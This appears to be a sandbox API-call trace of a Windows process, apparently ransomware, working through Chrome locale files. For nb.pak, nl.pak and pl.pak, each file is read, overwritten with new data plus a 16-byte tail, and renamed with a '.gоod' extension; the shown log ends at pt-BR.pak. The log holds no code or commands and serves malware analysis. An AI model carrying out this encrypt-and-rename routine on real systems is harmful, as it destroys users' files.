[0123.242] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak", lpFilePart=0x0) returned 0x4c [0123.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0123.242] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nb.pak"), fInfoLevelId=0x0, lpFileInformation=0x35a4bc0 | out: lpFileInformation=0x35a4bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b4e664, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x401f5)) returned 1 [0123.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0123.242] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak", lpFilePart=0x0) returned 0x4c [0123.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0123.242] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nb.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0123.243] GetFileType (hFile=0x768) returned 0x1 [0123.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0123.243] GetFileType (hFile=0x768) returned 0x1 [0123.243] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0123.243] ReadFile (in: hFile=0x768, lpBuffer=0x35a4fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x35a4fd8*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0123.745] CloseHandle (hObject=0x768) returned 1 [0123.748] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak", lpFilePart=0x0) returned 0x4c [0123.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0123.749] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nb.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0123.751] GetFileType (hFile=0x768) returned 0x1 [0123.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0123.755] GetFileType (hFile=0x768) returned 0x1 [0123.758] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x401f5 [0123.761] WriteFile (in: hFile=0x768, lpBuffer=0x3645198*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3645198*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0123.785] CloseHandle (hObject=0x768) returned 1 [0123.793] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak", lpFilePart=0x0) returned 0x4c [0123.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0123.798] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nb.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0123.799] GetFileType (hFile=0x768) returned 0x1 [0123.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0123.799] GetFileType (hFile=0x768) returned 0x1 [0123.799] ReadFile (in: hFile=0x768, lpBuffer=0x366ee68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x366ee68*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0123.942] CloseHandle (hObject=0x768) returned 1 [0123.942] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak", lpFilePart=0x0) returned 0x4c [0123.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0123.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nb.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0123.943] GetFileType (hFile=0x768) returned 0x1 [0123.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0123.943] GetFileType (hFile=0x768) returned 0x1 [0123.943] WriteFile (in: hFile=0x768, lpBuffer=0x34ba8a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x34ba8a8*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0123.943] CloseHandle (hObject=0x768) returned 1 [0123.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak", lpFilePart=0x0) returned 0x4c [0123.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak.gоod", lpFilePart=0x0) returned 0x51 [0123.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0123.943] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nb.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4615d086, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40205)) returned 1 [0123.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0123.943] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nb.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nb.pak.gоod")) returned 1 [0123.944] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak", lpFilePart=0x0) returned 0x4c [0123.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0123.944] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nl.pak"), fInfoLevelId=0x0, lpFileInformation=0x35154e0 | out: lpFileInformation=0x35154e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b53484, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x440c8)) returned 1 [0124.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0124.052] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak", lpFilePart=0x0) returned 0x4c [0124.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0124.053] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x620 [0124.053] GetFileType (hFile=0x620) returned 0x1 [0124.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0124.053] GetFileType (hFile=0x620) returned 0x1 [0124.053] SetFilePointer (in: hFile=0x620, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0124.053] ReadFile (in: hFile=0x620, lpBuffer=0x361dde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x361dde8*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0124.055] CloseHandle (hObject=0x620) returned 1 [0124.055] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak", lpFilePart=0x0) returned 0x4c [0124.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0124.055] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x620 [0124.055] GetFileType (hFile=0x620) returned 0x1 [0124.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0124.055] GetFileType (hFile=0x620) returned 0x1 [0124.055] SetFilePointer (in: hFile=0x620, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x440c8 [0124.055] WriteFile (in: hFile=0x620, lpBuffer=0x361f700*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x361f700*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0124.057] CloseHandle (hObject=0x620) returned 1 [0124.057] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak", lpFilePart=0x0) returned 0x4c [0124.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0124.057] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x620 [0124.057] GetFileType (hFile=0x620) returned 0x1 [0124.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0124.057] GetFileType (hFile=0x620) returned 0x1 [0124.057] ReadFile (in: hFile=0x620, lpBuffer=0x3621c18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3621c18*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0124.094] CloseHandle (hObject=0x620) returned 1 [0124.094] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak", lpFilePart=0x0) returned 0x4c [0124.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0124.094] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x620 [0124.095] GetFileType (hFile=0x620) returned 0x1 [0124.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0124.095] GetFileType (hFile=0x620) returned 0x1 [0124.095] WriteFile (in: hFile=0x620, lpBuffer=0x3620970*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3620970*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0124.095] CloseHandle (hObject=0x620) returned 1 [0124.095] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak", lpFilePart=0x0) returned 0x4c [0124.095] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak.gоod", lpFilePart=0x0) returned 0x51 [0124.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0124.095] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nl.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x462da6b6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x440d8)) returned 1 [0124.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0124.095] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nl.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nl.pak.gоod")) returned 1 [0124.096] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak", lpFilePart=0x0) returned 0x4c [0124.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0124.096] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pl.pak"), fInfoLevelId=0x0, lpFileInformation=0x369e1a0 | out: lpFileInformation=0x369e1a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b582a4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x472ff)) returned 1 [0124.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0124.740] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak", lpFilePart=0x0) returned 0x4c [0124.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0124.740] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0124.740] GetFileType (hFile=0x630) returned 0x1 [0124.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0124.740] GetFileType (hFile=0x630) returned 0x1 [0124.741] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0124.741] ReadFile (in: hFile=0x630, lpBuffer=0x36803a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x36803a0*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0124.742] CloseHandle (hObject=0x630) returned 1 [0124.742] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak", lpFilePart=0x0) returned 0x4c [0124.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0124.742] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0124.742] GetFileType (hFile=0x630) returned 0x1 [0124.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0124.742] GetFileType (hFile=0x630) returned 0x1 [0124.743] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x472ff [0124.743] WriteFile (in: hFile=0x630, lpBuffer=0x3681658*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3681658*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0124.744] CloseHandle (hObject=0x630) returned 1 [0124.744] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak", lpFilePart=0x0) returned 0x4c [0124.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0124.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0124.745] GetFileType (hFile=0x630) returned 0x1 [0124.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0124.745] GetFileType (hFile=0x630) returned 0x1 [0124.745] ReadFile (in: hFile=0x630, lpBuffer=0x3683968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3683968*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0124.954] CloseHandle (hObject=0x630) returned 1 [0124.954] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak", lpFilePart=0x0) returned 0x4c [0124.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0124.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0124.954] GetFileType (hFile=0x630) returned 0x1 [0124.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0124.955] GetFileType (hFile=0x630) returned 0x1 [0124.955] WriteFile (in: hFile=0x630, lpBuffer=0x34fff68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x34fff68*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0124.955] CloseHandle (hObject=0x630) returned 1 [0124.955] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak", lpFilePart=0x0) returned 0x4c [0124.955] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak.gоod", lpFilePart=0x0) returned 0x51 [0124.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0124.955] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pl.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x46b0c8f4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4730f)) returned 1 [0124.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0124.955] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pl.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pl.pak.gоod")) returned 1 [0124.956] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak", lpFilePart=0x0) returned 0x4f 